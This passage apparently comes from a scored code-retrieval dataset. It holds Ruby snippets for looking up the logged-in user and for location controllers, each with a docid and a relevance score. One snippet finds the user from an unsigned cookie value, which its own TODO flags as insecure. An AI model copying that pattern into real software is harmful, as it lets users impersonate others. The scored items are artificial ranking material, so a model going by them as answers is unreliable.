"text": "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info\n end",
"title": ""
},
{
"docid": "ea8ccf6b93724d0e75101c46ea744ca5",
"score": "0.64422774",
"text": "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info\n end",
"title": ""
},
{
"docid": "c0636ad024d6cbe86d948b7f805f9114",
"score": "0.6341538",
"text": "def hubssolib_get_user_data\n user = self.hubssolib_current_session ? self.hubssolib_current_session.session_user : nil\n\n if (user && user.user_id)\n return user\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "1a105b212fe1bc2ee1e3998322ed5d0f",
"score": "0.63298494",
"text": "def userinfo\n if @user.nil?\n nil\n elsif @password.nil?\n @user\n else\n @user + ':' + @password\n end\n end",
"title": ""
},
{
"docid": "ea17277afb8a375099746a879a7293f1",
"score": "0.6327033",
"text": "def get_user_data\n user_data = nil\n \n if cookies.has_key?(:user_data) && cookies[:user_data].to_s != ''\n user_data = string_to_hash(cookies[:user_data])\n end\n user_data\n end",
"title": ""
},
{
"docid": "5bea2572e715f32fad55d83281a2bc71",
"score": "0.6254591",
"text": "def user_info\n @user_info ||= raw_info\n end",
"title": ""
},
{
"docid": "528ded2c18f157483b274aaa18b555dc",
"score": "0.6210612",
"text": "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end",
"title": ""
},
{
"docid": "f2d1fac53f78144d6c308734ebb98423",
"score": "0.6205328",
"text": "def get_user_info()\n return_map = nil\n if session[:google_unique] != nil && user_credentials.access_token != nil\n return_map = {}\n return_map['email'] = session[:googleemail]\n return_map['sub'] = session[:google_unique]\n return_map['useralias'] = session[:useralias]\n end\n return return_map\nend",
"title": ""
},
{
"docid": "c1d3da8522401d06a1c6c4897ac37647",
"score": "0.61958313",
"text": "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end",
"title": ""
},
{
"docid": "2b23aa598930de02f93a9be28057ba1a",
"score": "0.6097568",
"text": "def logged_in_user\n return nil if !logged_in?\n return session[\"app_user\"]\n end",
"title": ""
},
{
"docid": "32c0cc20cb8ceb5e0e4891592f809a0b",
"score": "0.60800993",
"text": "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info['query']['results'][\"profile\"]\n end",
"title": ""
},
{
"docid": "331390a58f12fc379954854fa0d7d6fc",
"score": "0.6035765",
"text": "def logged_in_user\n if (!logged_in?)\n return User.logged_out_user\n end\n #return nil if !logged_in?\n return session[\"app_user\"]\n end",
"title": ""
},
{
"docid": "4cc48fffe6ad98d9e6b23a983f014a62",
"score": "0.59917253",
"text": "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info[\"person\"]\n end",
"title": ""
},
{
"docid": "399e1492ddb7f09706d2e171ee437a19",
"score": "0.59800476",
"text": "def user_info\n\t\t@user_info ||= fetch_latest_user_info\n\tend",
"title": ""
},
{
"docid": "25e61da40907af570052cb6d7e44ffa4",
"score": "0.59417415",
"text": "def get_logged_in_user\n if logged_in?\n user = User.find(session[:current_user_id])\n if user\n return user\n else\n return nil\n end\n end\n \n #default return nil\n nil\n end",
"title": ""
},
{
"docid": "dd2991d9e82b05cf2622cc51dba0ad8f",
"score": "0.5852467",
"text": "def hubssolib_current_user\n hubssolib_get_user_data\n end",
"title": ""
},
{
"docid": "275c0c1386a2e5704613f409a252e37c",
"score": "0.58503836",
"text": "def user_hash\n @user_hash ||= MultiJson.decode(@access_token.get('/services/api/json/1.2.2/?method=smugmug.auth.checkAccessToken').body)['Auth']['User']\n end",
"title": ""
},
{
"docid": "6fb3c3d3719d4100c7fb02da7e2d8438",
"score": "0.5818824",
"text": "def user_data\n User.user_data login\n end",
"title": ""
},
{
"docid": "6a5ecf22640c9b5672f3a674f49ac93f",
"score": "0.5815874",
"text": "def userinfo\n object.fetch(:userinfo) {\n @object[:userinfo] = (format_userinfo(\"\") if @object[:user])\n }\n end",
"title": ""
},
{
"docid": "b1cda370e065ac3dec4735e7d9956cc6",
"score": "0.57837856",
"text": "def getUser login\n return false if !@usrData\n @usrData[login]\n end",
"title": ""
},
{
"docid": "174bd1bf6f33b6fdb452a3951391ae2a",
"score": "0.5758169",
"text": "def extract_info_from_omniauth(omniauth)\n if omniauth.has_key?('extra') && omniauth['extra'].has_key?('user_hash')\n self.info = omniauth['user_info'].merge(omniauth['extra']['user_hash']).symbolize_keys\n else\n self.info = omniauth['user_info'].symbolize_keys\n end\n end",
"title": ""
},
{
"docid": "79c0d2b355a17983bbd474e6dc49a625",
"score": "0.57578117",
"text": "def get_user_info user\n unless user.known_user.nil?\n known_user = user.known_user\n is_me = known_user.is_current_user || false\n return is_me ? \"people/me\" : known_user.person_name\n end\n get_one_of user\nend",
"title": ""
},
{
"docid": "0c248d1a3d975ebc5b2d2806392b6ce6",
"score": "0.5749226",
"text": "def normalized_userinfo\n normalized_user + (password ? \":#{normalized_password}\" : \"\") if userinfo\n end",
"title": ""
},
{
"docid": "5cc9a157d4b9f6cb594c7c2bb7ca9fe4",
"score": "0.57487094",
"text": "def userinfo?\n @userinfo = session[:userinfo] = request.env['omniauth.auth'][:extra][:raw_info]\n\n # No email address, reject\n return login_failed 'Email required.' unless @userinfo[:email]\n\n @email = @userinfo[:email]\n @auth0_id = @userinfo[:user_id]\n end",
"title": ""
},
{
"docid": "b31056f9c8ffeb86cc6c14d5737d4696",
"score": "0.57340837",
"text": "def get_user\n \n # Retrieve user id if stored in a cookies\n # @TODO Secure ID when stored in cookies\n if cookies[:user]\n return User.find(cookies[:user])\n\n # Retrieve user id if stored in session\n elsif session[:user]\n return User.find(session[:user])\n\n # No user logged in\n else\n return nil\n end\n\n end",
"title": ""
},
{
"docid": "b27dfdc7c7e67d76d3fb1202a8b91f97",
"score": "0.5728004",
"text": "def omniauth_credentials\n if omniauth_hash = request.env['omniauth.auth']\n {\n provider: omniauth_hash['provider'],\n uid: omniauth_hash['uid'],\n email: omniauth_hash['info']['email'],\n name: omniauth_hash['info']['name'],\n }\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "c5b38f29ef9f156b82201a8ba9a4f714",
"score": "0.57199496",
"text": "def user\n return Etc.getlogin\n end",
"title": ""
},
{
"docid": "a3c6ac75cbda1307ba89015b6724f685",
"score": "0.57129717",
"text": "def get_user_logged_in\n\t\tif current_user != nil\n\t\t\treturn 'Currently signed in as: ' + current_user.forename + ' ' + current_user.surname\n\t\telse\n\t\t\treturn 'You are not logged in!'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4503a796ee245a9b195acc25f99d254d",
"score": "0.57051176",
"text": "def user_hash\n response_hash.key?(:user) ? response_hash[:user] : {}\n end",
"title": ""
},
{
"docid": "36e8810c9926e694d8dc200027c1dbaf",
"score": "0.5696316",
"text": "def get_user_info\n userTokenInfo = request.env['oauth.token']\n @user = userTokenInfo.user\n end",
"title": ""
},
{
"docid": "15569be3437b9bd6a4ed90c9142b335d",
"score": "0.5689143",
"text": "def hubssolib_get_user_id\n user = self.hubssolib_current_user\n user ? user.user_id : nil\n end",
"title": ""
},
{
"docid": "f05b88eb50de413a6f507e796e64cedb",
"score": "0.5685789",
"text": "def auth_hash\n @auth_hash ||= request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "4d66ee4f19ef7a74bdda55e8eac57564",
"score": "0.56803596",
"text": "def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "cb2e91a5eb8d5d5477afd834f5a4b940",
"score": "0.5668539",
"text": "def cookied_user\n cookies[:auth] and User.find_by_auth_token(cookies[:auth])\n end",
"title": ""
},
{
"docid": "f09db44c78f8400543610154a0fa768d",
"score": "0.56603634",
"text": "def user()\n return @data[\"access\"][\"user\"]\n end",
"title": ""
},
{
"docid": "4c092d4749e80349163fd6bacdd4dd91",
"score": "0.56491685",
"text": "def getUserDetails\n\t\tuser = java.util.HashMap.new()\n\t\t# user name\n\t\tuser.put(KEY_NAME, @pref.getString(KEY_NAME, nil))\n\t\t\n\t\t# user email id\n\t\tuser.put(KEY_EMAIL, @pref.getString(KEY_EMAIL, nil))\n\t\t\n\t\t# return user\n\t\treturn user;\n\tend",
"title": ""
},
{
"docid": "92b307dff3288dd4900cfe83f1d3b6a5",
"score": "0.56381303",
"text": "def user_info\n {\n 'nickname' => user_hash['NickName'],\n 'name' => user_hash['NickName']\n }\n end",
"title": ""
},
{
"docid": "b6bdf62f255152f6efd5d24f8dcfb21e",
"score": "0.5614407",
"text": "def auth_user_id\n auth[:user_id]\n end",
"title": ""
},
{
"docid": "d2bbd6cd01afdedd3830bb616118d8cb",
"score": "0.56109166",
"text": "def auth_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "d2bbd6cd01afdedd3830bb616118d8cb",
"score": "0.56109166",
"text": "def auth_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "d2bbd6cd01afdedd3830bb616118d8cb",
"score": "0.56109166",
"text": "def auth_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "d2bbd6cd01afdedd3830bb616118d8cb",
"score": "0.56109166",
"text": "def auth_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "d2bbd6cd01afdedd3830bb616118d8cb",
"score": "0.56109166",
"text": "def auth_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "d2bbd6cd01afdedd3830bb616118d8cb",
"score": "0.56109166",
"text": "def auth_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "57453ebdaf59bc5041425f79f579d7af",
"score": "0.56090176",
"text": "def getLoggedInUser\n if session[:user_id]\n return User.find(session[:user_id])\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "b6ab8199f942a2c845c6b068c485ae23",
"score": "0.5608101",
"text": "def auth_hash\n @auth_hash ||= request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "645eb60978251d39278987cc75d7ddac",
"score": "0.55738086",
"text": "def user\n\t\t\treturn nil if ! logged_in?\n\n\t\t\tPicombo::Session.instance.get('user')\n\t\tend",
"title": ""
},
{
"docid": "e061df06a4b955af33d24be000c10b21",
"score": "0.5563368",
"text": "def get_user\n unless session[:drupal_user_id].nil?\n uid = session[:drupal_user_id]\n @user = User.find_by_uid(uid)\n end\n\n @user || nil\n end",
"title": ""
},
{
"docid": "d11673678765c50dfea4b655c8e588cf",
"score": "0.55575794",
"text": "def user\n return @user ? @user : Dotfu.config_user\n end",
"title": ""
},
{
"docid": "bcf09fb92b35a386ccee03024ee64668",
"score": "0.55394757",
"text": "def load_user_if_logged_in\n if user?\n @user = current_user\n else\n @user = nil\n end\n return true\nend",
"title": ""
},
{
"docid": "48e4e67657a8e5b2596bb693ad053bb8",
"score": "0.5525389",
"text": "def auth_user\n User.find(auth_user_id) unless auth_user_id.nil?\n end",
"title": ""
},
{
"docid": "d93cf6abdd38bde9e85aca9816d2c0d3",
"score": "0.5507582",
"text": "def get_current_user_name\n return @name if @name\n name = get_current_user_meta\n name = name['query']['userinfo']['name'] if name\n\n name\n end",
"title": ""
},
{
"docid": "7feb731b683c516ca30b1a2020ce156f",
"score": "0.54952693",
"text": "def auth_user_id\n session[:current_user_id] unless session[:current_user_id].nil?\n end",
"title": ""
},
{
"docid": "f4ea3a0d1b8f594d0f187634b11964ae",
"score": "0.5491709",
"text": "def auth_hash\n # raise request.env['omniauth.auth'].to_yaml\n request.env[\"omniauth.auth\"]\n end",
"title": ""
},
{
"docid": "6484296abd4cf50c552e3c79b5006f03",
"score": "0.5486291",
"text": "def raw_info\n @raw_info ||= access_token.get('/api/me', :headers => {'Accept' => \"application/json; version=1\" }).parsed['payload']['users'].first || {}\n end",
"title": ""
},
{
"docid": "fcb5dfce977adf6570acc296d3a66bd9",
"score": "0.5485317",
"text": "def admin_http_auth_user\n # This needs special magic in mongrel: http://www.ruby-forum.com/topic/83067\n # Hence the second clause which reads X-Forwarded-User header if available.\n # See the rewrite rules in conf/httpd.conf which set X-Forwarded-User\n if request.env[\"REMOTE_USER\"]\n return request.env[\"REMOTE_USER\"]\n elsif request.env[\"HTTP_X_FORWARDED_USER\"]\n return request.env[\"HTTP_X_FORWARDED_USER\"]\n else\n return \"*unknown*\";\n end\n end",
"title": ""
},
{
"docid": "4192d4a9402a43290554f825353393a0",
"score": "0.54841405",
"text": "def hash_from_omniauth(omniauth)\n {\n :provider => omniauth['provider'],\n :uid => omniauth['uid'],\n :token => (omniauth['credentials']['token'] rescue nil),\n :secret => (omniauth['credentials']['secret'] rescue nil),\n :screenname => (omniauth['user_info']['nickname'] rescue nil)\n }\n end",
"title": ""
},
{
"docid": "ce4c2cc7c074da01f89d0847e92e5d1e",
"score": "0.5469511",
"text": "def prefill_if_logged_in(data)\n return if Person.current.anonymous?\n data.name ||= Person.current.name\n data.email ||= Person.current.email\n end",
"title": ""
},
{
"docid": "bbd45c644b779e3a1a7b1cda1c325117",
"score": "0.54609144",
"text": "def user_from_omniauth\n IdentifierScheme.for_users.each do |scheme|\n omniauth_hash = session.fetch(\"devise.#{scheme.name}_data\", {})\n next if omniauth_hash.empty?\n\n return ::User.from_omniauth(scheme_name: scheme.name, omniauth_hash: omniauth_hash)\n end\n nil\n end",
"title": ""
},
{
"docid": "ebc5eec5fd21698a7f46eaff7aee20f3",
"score": "0.5460526",
"text": "def current_user\n if Rails.application.config.use_omniauth\n return nil unless session[:user_info]\n @current_user ||= User.find_user_from_omniauth(session[:user_info])\n else\n @current_user ||= User.where(username: request.env['aker.check'].user.username).first\n end\n end",
"title": ""
},
{
"docid": "35d791a01ba8602444dfb2dd6943d076",
"score": "0.5450658",
"text": "def facebook_user\n (session[:facebook_session] && session[:facebook_session].session_key) ? session[:facebook_session].user : nil\n end",
"title": ""
},
{
"docid": "76472a2e776650071e437ac9fe613957",
"score": "0.5446793",
"text": "def temporary_logged_in_user\n @logged_in_user\n end",
"title": ""
},
{
"docid": "8f600760507d91ba8ff65b9fa2e71ac3",
"score": "0.54393816",
"text": "def site_user\n return @site_user\n end",
"title": ""
},
{
"docid": "648bbe711fe8fc390d064830faf99f07",
"score": "0.5438724",
"text": "def auth_hash\n OmniAuth::Utils.deep_merge(super(), {\n 'uid' => @client_id,\n 'user_info' => {\n 'user_hash' => user_data,\n }\n })\n end",
"title": ""
},
{
"docid": "0561ad2908807b0a1964809ef7fb271d",
"score": "0.5436124",
"text": "def user_information\n { \"username\": @user.username, \"email\": @user.email, \"id\": @user.id }\n end",
"title": ""
},
{
"docid": "de096da4461dfb9167bf9aaea87bbae8",
"score": "0.54359496",
"text": "def user_login\n @raw['user']['login']\n end",
"title": ""
},
{
"docid": "b367a0c9b0760d0b3894930a489d9bba",
"score": "0.5424867",
"text": "def user_from_session\n case RAILS_ENV\n when 'production'\n @user = User.find( :first, :conditions => {\n :screen_name => session[:screen_name],\n :token => session[:access_token]\n })\n when 'development'\n logger.debug 'session = '+session.inspect\n @user = User.find( :first, :conditions => {\n :screen_name => DEBUG_SCREEN_NAME\n })\n #nil\n end\n end",
"title": ""
},
{
"docid": "0f2bb2520973b19b1e8bfab7f53ab670",
"score": "0.5423642",
"text": "def auth_hash\n OmniAuth::Utils.deep_merge(super(), {\n 'uid' => @uid,\n 'user_info' => {\n 'name' => @username\n }\n })\n end",
"title": ""
},
{
"docid": "5f74c097a80fd00669b17f1908edf63e",
"score": "0.5408612",
"text": "def identity_hash\n request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "86974926393e4c9b598346561687a695",
"score": "0.54059696",
"text": "def get_user_info\n response = send_method(:get_user_info)\n user_from(response)\n end",
"title": ""
},
{
"docid": "e1033ce1d2d5590db8df26bd83b69147",
"score": "0.5404546",
"text": "def user_hash\n @user_hash ||= MultiJson.decode(@access_token.get('https://api.trademe.co.nz/v1/MyTradeMe/Summary.json').body)\n end",
"title": ""
},
{
"docid": "7fd32238049cf7794c069851b925cc40",
"score": "0.54027265",
"text": "def logged_in?\n # checks if current_user is not nil\n current_user.presence\n end",
"title": ""
},
{
"docid": "6a7073aa3bc93cbb3184864aab952922",
"score": "0.5401126",
"text": "def user_info\n response = from_server \"api/user.json\"\n response.data\n end",
"title": ""
},
{
"docid": "a683ec50803e7e2a48691fe4dd6c6931",
"score": "0.53998494",
"text": "def user_signed_in?\n session[:userinfo].present?\n end",
"title": ""
},
{
"docid": "a683ec50803e7e2a48691fe4dd6c6931",
"score": "0.53998494",
"text": "def user_signed_in?\n session[:userinfo].present?\n end",
"title": ""
},
{
"docid": "16b3060f514926da99b3056d954de569",
"score": "0.53980947",
"text": "def try_gesmew_current_user\n # This one will be defined by apps looking to hook into Gesmew\n # As per authentication_helpers.rb\n if respond_to?(:gesmew_current_user)\n gesmew_current_user\n # This one will be defined by Devise\n elsif respond_to?(:current_gesmew_user)\n current_gesmew_user\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "3aec84cdeac0242db7d7af505b6cede1",
"score": "0.5392741",
"text": "def current_user_id\n info['user']['id']\n end",
"title": ""
},
{
"docid": "6e120846a61bea7e0f48f83094fa4320",
"score": "0.5386489",
"text": "def logged_in?\n return session['current_user']\n end",
"title": ""
},
{
"docid": "81c764934266f1c057760332ee5115d9",
"score": "0.5385715",
"text": "def user_key\n retval = nil\n retval = self.email if self.email.present?\n if retval.blank? && self.nickname.present?\n retval = self.nickname\n end\n if retval.blank? && self.first_name.present?\n\n retval = self.first_name\n if self.last_name.present?\n retval = retval + self.last_name\n end\n end\n if retval.blank? && self.name.present?\n retval = self.name\n end\n retval\n end",
"title": ""
},
{
"docid": "6e92e0cdf406eb8bedc8b68ef74b9ac0",
"score": "0.53822166",
"text": "def logged_in_normal_user?\n normal_user.present?\n end",
"title": ""
},
{
"docid": "92942bbf63b79c8834765a36d00f4208",
"score": "0.537671",
"text": "def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"title": ""
},
{
"docid": "92942bbf63b79c8834765a36d00f4208",
"score": "0.537671",
"text": "def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"title": ""
},
{
"docid": "92942bbf63b79c8834765a36d00f4208",
"score": "0.537671",
"text": "def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"title": ""
},
{
"docid": "5df7630dd4c7d173b058290bac6961a1",
"score": "0.53699136",
"text": "def user_data(hsh={})\n @settings[:user_data].merge!(hsh.to_hash) unless hsh.empty?\n @settings[:user_data]\n end",
"title": ""
},
{
"docid": "2042e1b303d6d9aa92e9b8ef31fc2f5c",
"score": "0.53669024",
"text": "def fluidfeatures_current_user(verbose=false)\n if current_user\n if verbose\n {\n :id => @current_user[:id],\n :name => @current_user[:name],\n :uniques => {\n :twitter => @current_user[:twitter_id]\n },\n :cohorts => {\n # Example attributes for the user.\n # These can be any fields you wish to select users by.\n :company => {\n # \"display\" is used to help you find it in the dashboard.\n # Highly recommended unless you work with ids.\n # This display name can change over time without consequence. \n :display => @current_user[:company_name],\n # \"id\" should be unique this this cohort and must be static\n # over time.\n :id => @current_user[:company_id]\n },\n # For this boolean cohort \"true\"|\"false\" is the \"display\"\n # and the \"id\"\n :admin => @current_user[:admin]\n }\n }\n else\n {\n :id => @current_user.id\n }\n end\n else\n end\n end",
"title": ""
},
{
"docid": "749ba04e79f9e18828ceb341591152fe",
"score": "0.53559256",
"text": "def user_from_session\n if session[:user] && session[:user][:id]\n User.find_by_id(session[:user][:id])\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "5db7feca2342fcd069f148d964258ede",
"score": "0.53508484",
"text": "def logged_in?\n unless session[:user_id].nil?\n return current_user\n end\n end",
"title": ""
},
{
"docid": "1ea0353eafee32a39e82e5337281ffcb",
"score": "0.53438145",
"text": "def hubssolib_get_user_name\n user = self.hubssolib_current_user\n user ? user.user_real_name : nil\n end",
"title": ""
},
{
"docid": "ed8233e15f154750e2658bde06b10b9b",
"score": "0.5339841",
"text": "def logged_in?\n !session['userhash'].nil? &&\n $redis.get('userhash:'+session['userhash']) == session['user'] &&\n !User.get(session['user']).nil?\n end",
"title": ""
},
{
"docid": "b870a4cca269b84fb5aadc5d35f0cea8",
"score": "0.53345495",
"text": "def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end",
"title": ""
},
{
"docid": "ada00405944ded4ce1d65dce9ee5f136",
"score": "0.53231835",
"text": "def current_user\n\t\tif logged_in?\n\t\t\t@current_user ||= User.find(cookies[cookie_id])\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a61089f83517903600639d81e11352f2",
"score": "0.53152275",
"text": "def get_auth_tkt_user_data\n cookie_decoded = Base64.decode64(cookies[:auth_tkt])\n return cookie_decoded.split('!')[2]\n end",
"title": ""
},
{
"docid": "d470e824c56a36882eef6c13593e8d16",
"score": "0.53133154",
"text": "def get_user_login\n user = User.first(:id => self.user_id )\n return user.login if user\n return nil\n end",
"title": ""
},
{
"docid": "d8131c004767bba8c1bbbea78eb5c617",
"score": "0.5311617",
"text": "def check_user\n return nil unless userlogin_signed_in?\n\n User.find_by(email: current_userlogin.email)\n end",
"title": ""
},
{
"docid": "b0a2b63bf2ba11f5d261df31fba17e21",
"score": "0.5304897",
"text": "def get_login\r\n if ((self.user_id) && (self.user_id > 0))\r\n return self.user.name\r\n else\r\n return false\r\n end\r\n end",
"title": ""
},
{
"docid": "26f99fd8e747f729436e7c2cc43fb8d6",
"score": "0.52955216",
"text": "def logged_in_user_id\n session[:user_id]\n end",
"title": ""
},
{
"docid": "2adb5c7b2ad3ebde23038c6a00002c03",
"score": "0.529239",
"text": "def current_user\n if session[:user] != nil\n # return the user id\n return session[:user]\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "2ba8652cbaced9910251a5e4b86e5cde",
"score": "0.528824",
"text": "def authenticated_user\n if session[:user_id].nil?\n return nil\n else\n return User.find(session[:user_id])\n end\n end",
"title": ""
}
] |
7526e2a22035abee095556ef0284dafc
|
GET /screening_locations GET /screening_locations.json
|
[
{
"docid": "7889a998aa8434adc7e8a1c1e4c0973a",
"score": "0.78931415",
"text": "def index\n @screening_locations = ScreeningLocation.all\n end",
"title": ""
}
] |
[
{
"docid": "f3536edc3fe6283013a4670a25814bad",
"score": "0.70069444",
"text": "def show\n @locations = Location.all\n render 'show', formats: 'json', handlers: 'jbuilder'\n end",
"title": ""
},
{
"docid": "0808facaa6cbc6748a1cd8da138c9f10",
"score": "0.6909722",
"text": "def show\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "3bf475699bfa29462aadd813b207818d",
"score": "0.68779844",
"text": "def locations\n customer = Customer.find_by(id: params[:id], company: current_company)\n locations = customer.locations\n render json: { locations: locations }\n end",
"title": ""
},
{
"docid": "7dae98a451bb8843dbfc87aa6331400e",
"score": "0.6868447",
"text": "def show\n get_locations\n end",
"title": ""
},
{
"docid": "d34a43976886d5f73b5764a41d248d9e",
"score": "0.6842756",
"text": "def index\n @locations = current_user.locations\n respond_to do |format|\n format.html\n format.json {render json: @locations}\n end\n end",
"title": ""
},
{
"docid": "30cf3aaba2cf137b9aad8454273b78d0",
"score": "0.67952734",
"text": "def locations(opts = {})\n get 'locations', opts\n end",
"title": ""
},
{
"docid": "c44ca695608fb231dca2a33261bf90c6",
"score": "0.67133427",
"text": "def index\n @locations = Location.order :name\n\n map_points = {}\n\n respond_to do |format|\n format.html\n format.json { render json: @locations }\n end\n end",
"title": ""
},
{
"docid": "0685128fbc78ad425c3cf20b82f54b75",
"score": "0.669533",
"text": "def locations(slug = nil)\n get('locations', slug)\n end",
"title": ""
},
{
"docid": "805e5b54273bb44407911c3295be9010",
"score": "0.6668076",
"text": "def list_locations\n headers = default_headers\n headers['Accept'] = 'text/xml'\t# JSON locations not supported\n Nokogiri.XML(get('/locations', headers))\n end",
"title": ""
},
{
"docid": "54e09ecd3d26099c2071e5cad01f2873",
"score": "0.66352946",
"text": "def list_locations\n request = @client.management_request(:get, '/locations')\n response = request.call\n Serialization.locations_from_xml(response)\n end",
"title": ""
},
{
"docid": "1f66154a0951f834bf028248aa0d7444",
"score": "0.66060275",
"text": "def show\n render json: Location.find(params[:id])\n end",
"title": ""
},
{
"docid": "d2ececb34df0e011e5ff9235db7a8c0e",
"score": "0.6598666",
"text": "def locations(options={})\n get('fullPageLoadLocations', options)\n end",
"title": ""
},
{
"docid": "026a7e847760bdbf8f7a95b69ad6baae",
"score": "0.65827644",
"text": "def index\n @locations = @org.locations\n end",
"title": ""
},
{
"docid": "7450e1e390226682f0e277aa266a8ed0",
"score": "0.6561091",
"text": "def show\n @neighborhood = Neighborhood.find_by_slug(params[:id]) || Neighborhood.find(params[:id])\n @listings = @neighborhood.listings.available.visible.order(featured: :desc, updated_at: :desc)\n @locations = @neighborhood.locations\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"title": ""
},
{
"docid": "efa3d404e76a5e66f1fb2c58be03c2fe",
"score": "0.6557738",
"text": "def index\n \tRails.logger.debug { \"Getting All Locations...\" }\n\n @locations = Location.all\n #respond_to do |format|\n # format.html { redirect_to @locations, notice: 'Locations successful.' }\n # format.json { render :show, locations: @locations }\n #end\n end",
"title": ""
},
{
"docid": "0176fb78f54e076a81d563530170abf6",
"score": "0.6546083",
"text": "def location_primer\n render(json: location_list)\n end",
"title": ""
},
{
"docid": "ecc906cba840c169bed3f6d5243aecd2",
"score": "0.65421695",
"text": "def index\n @locations = Location.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end",
"title": ""
},
{
"docid": "ecc906cba840c169bed3f6d5243aecd2",
"score": "0.65421695",
"text": "def index\n @locations = Location.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end",
"title": ""
},
{
"docid": "ecc906cba840c169bed3f6d5243aecd2",
"score": "0.65421695",
"text": "def index\n @locations = Location.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end",
"title": ""
},
{
"docid": "7c0c839c177d88b67a3e7ba53afef253",
"score": "0.6537739",
"text": "def get_location\n JSON.parse(get_results('/locations.json'), {symbolize_names: true})\n end",
"title": ""
},
{
"docid": "7c0c839c177d88b67a3e7ba53afef253",
"score": "0.6537739",
"text": "def get_location\n JSON.parse(get_results('/locations.json'), {symbolize_names: true})\n end",
"title": ""
},
{
"docid": "44696c29645f85ef3c297398453d4669",
"score": "0.6535873",
"text": "def show\n render json: @location\n end",
"title": ""
},
{
"docid": "d0f9b6e83e0525ecfd5857693c0ae2b0",
"score": "0.65061027",
"text": "def list\n @locations = Location.select(\"id\", \"name\", \"latitude\", \"longtitude\")\n render json: {locations: @locations}\n end",
"title": ""
},
{
"docid": "07124eb515a3ed01c155f6bb485af32b",
"score": "0.64966065",
"text": "def locations\n\t\t@locations = Location.where(include: true).order(\"location\")\n\t\trender \"index.json.jbuilder\", status: :ok\n\tend",
"title": ""
},
{
"docid": "1f6f72bd9f8983e5e1508e2413dd9f31",
"score": "0.64919966",
"text": "def index\n authorize! :view_locations, current_account\n @locations = current_account.locations.all\n respond_with @locations\n end",
"title": ""
},
{
"docid": "5a045e60ef8597f6e1a8e45e32e24111",
"score": "0.64617544",
"text": "def locations(options={})\n get(\"/locations/search\")\n end",
"title": ""
},
{
"docid": "b70b99ca5ebb11b1e0378c2739a1ac6b",
"score": "0.64348817",
"text": "def all\n # will consult all the locations\n locations = Location.all\n # will pass the information in json format\n render :json => locations\n end",
"title": ""
},
{
"docid": "c159e7085fbc517f20fb81f94fd8d4a7",
"score": "0.64137906",
"text": "def list_locations\n request = Azure::BaseManagement::ManagementHttpRequest.new(:get, '/locations')\n response = request.call\n Serialization.locations_from_xml(response)\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
